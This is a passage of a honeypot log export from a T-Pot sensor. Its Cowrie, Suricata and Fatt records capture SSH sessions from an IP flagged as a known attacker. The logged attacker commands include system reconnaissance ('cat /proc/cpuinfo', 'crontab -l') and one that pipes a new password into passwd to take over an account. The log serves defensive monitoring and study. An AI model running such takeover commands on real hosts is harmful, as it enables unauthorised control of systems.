"AAADzAYUXKpph0fIyQIdxpxqwKEI2wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51958, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:04:21.163483Z", "@timestamp": "2021-09-20T11:04:21.163Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......\\\\.i.G......j.......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20455	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:04:21.800714+03	2021-09-20 14:15:02.398613+03	{"_id": "NQXgAnwBvYTbRNuE1vmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 462814581208095, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52064, "dest_port": 22, "timestamp": "2021-09-20T11:04:21.800714Z", "@timestamp": "2021-09-20T11:04:21.800Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20456	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:21.717276+03	2021-09-20 14:15:02.399613+03	{"_id": "OQXgAnwBvYTbRNuE1_nB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:52064 (192.168.176.2:22) [session: d82450cd2684]", "session": "d82450cd2684", "@version": "1", "protocol": "ssh", "src_port": 52064, "dest_port": 22, "timestamp": "2021-09-20T11:04:21.717276Z", "@timestamp": "2021-09-20T11:04:21.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20457	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:04:21.722297+03	2021-09-20 14:15:02.400612+03	{"_id": "QwXgAnwBvYTbRNuE1_nC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52064, "timestamp": "2021-09-20T11:04:21.722297", "@timestamp": "2021-09-20T11:04:21.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20458	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:04:21.163483+03	2021-09-20 14:15:02.403612+03	{"_id": "PwXgAnwBvYTbRNuE1_nB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51958, "dest_port": 22, "timestamp": "2021-09-20T11:04:21.163483", "@timestamp": "2021-09-20T11:04:21.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20459	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:21.08804+03	2021-09-20 14:15:02.404613+03	{"_id": "QAXgAnwBvYTbRNuE1_nB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "838e205c7ce9", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:04:21.088040Z", "@timestamp": "2021-09-20T11:04:21.088Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20460	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:04:22.084553+03	2021-09-20 14:15:02.405613+03	{"_id": "SAXgAnwBvYTbRNuE2_lb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 61 seconds", "session": "ba384fdfbf58", "@version": "1", "duration": 61.69646978378296, "timestamp": "2021-09-20T11:04:22.084553Z", "@timestamp": "2021-09-20T11:04:22.084Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20461	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:23.811367+03	2021-09-20 14:15:02.406614+03	{"_id": "SwXgAnwBvYTbRNuE3_lD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:23.811367Z", "@timestamp": "2021-09-20T11:04:23.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20462	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:23.811904+03	2021-09-20 14:15:02.408613+03	{"_id": "TAXgAnwBvYTbRNuE3_lD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:23.811904Z", "@timestamp": "2021-09-20T11:04:23.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20463	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:24.324425+03	2021-09-20 14:15:02.409613+03	{"_id": "XAXgAnwBvYTbRNuE4_ku", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "e9c9bc1d8064ffe9e08ea92d861000f9fc0f2a70960dd6aa7f2d988d33001191", "src_ip": "176.60.208.43", "ttylog": "log/tty/e9c9bc1d8064ffe9e08ea92d861000f9fc0f2a70960dd6aa7f2d988d33001191", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/e9c9bc1d8064ffe9e08ea92d861000f9fc0f2a70960dd6aa7f2d988d33001191 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15161967277526855, "duplicate": false, "timestamp": "2021-09-20T11:04:24.324425Z", "@timestamp": "2021-09-20T11:04:24.324Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20465	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:24.544193+03	2021-09-20 14:15:02.411613+03	{"_id": "XgXgAnwBvYTbRNuE4_ku", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "echo \\"bkup\\\\nSm6ZWzlslUYy\\\\nSm6ZWzlslUYy\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: echo \\"bkup\\\\nSm6ZWzlslUYy\\\\nSm6ZWzlslUYy\\\\n\\"|passwd", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:24.544193Z", "@timestamp": "2021-09-20T11:04:24.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20466	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:25.237524+03	2021-09-20 14:15:02.413613+03	{"_id": "YAXgAnwBvYTbRNuE5_kV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:25.237524Z", "@timestamp": "2021-09-20T11:04:25.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20467	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:25.581059+03	2021-09-20 14:15:02.414613+03	{"_id": "ZAXgAnwBvYTbRNuE5_kW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:25.581059Z", "@timestamp": "2021-09-20T11:04:25.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20468	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:25.389132+03	2021-09-20 14:15:02.415612+03	{"_id": "YgXgAnwBvYTbRNuE5_kW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "176.60.208.43", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15169215202331543, "duplicate": true, "timestamp": "2021-09-20T11:04:25.389132Z", "@timestamp": "2021-09-20T11:04:25.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20469	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:25.732256+03	2021-09-20 14:15:02.416613+03	{"_id": "YwXgAnwBvYTbRNuE5_kW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "176.60.208.43", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.1512770652770996, "duplicate": true, "timestamp": "2021-09-20T11:04:25.732256Z", "@timestamp": "2021-09-20T11:04:25.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20470	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:25.944472+03	2021-09-20 14:15:02.417613+03	{"_id": "ZwXgAnwBvYTbRNuE5_kW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:25.944472Z", "@timestamp": "2021-09-20T11:04:25.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20471	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:04:21.162961+03	2021-09-20 14:15:02.418614+03	{"_id": "NgXgAnwBvYTbRNuE1vmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 337792378152093, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51958, "dest_port": 22, "timestamp": "2021-09-20T11:04:21.162961Z", "@timestamp": "2021-09-20T11:04:21.162Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20472	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:21.085094+03	2021-09-20 14:15:02.420613+03	{"_id": "OAXgAnwBvYTbRNuE1_nB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:51958 (192.168.176.2:22) [session: 838e205c7ce9]", "session": "838e205c7ce9", "@version": "1", "protocol": "ssh", "src_port": 51958, "dest_port": 22, "timestamp": "2021-09-20T11:04:21.085094Z", "@timestamp": "2021-09-20T11:04:21.085Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20473	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:04:21.089147+03	2021-09-20 14:15:02.421612+03	{"_id": "QgXgAnwBvYTbRNuE1_nC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": 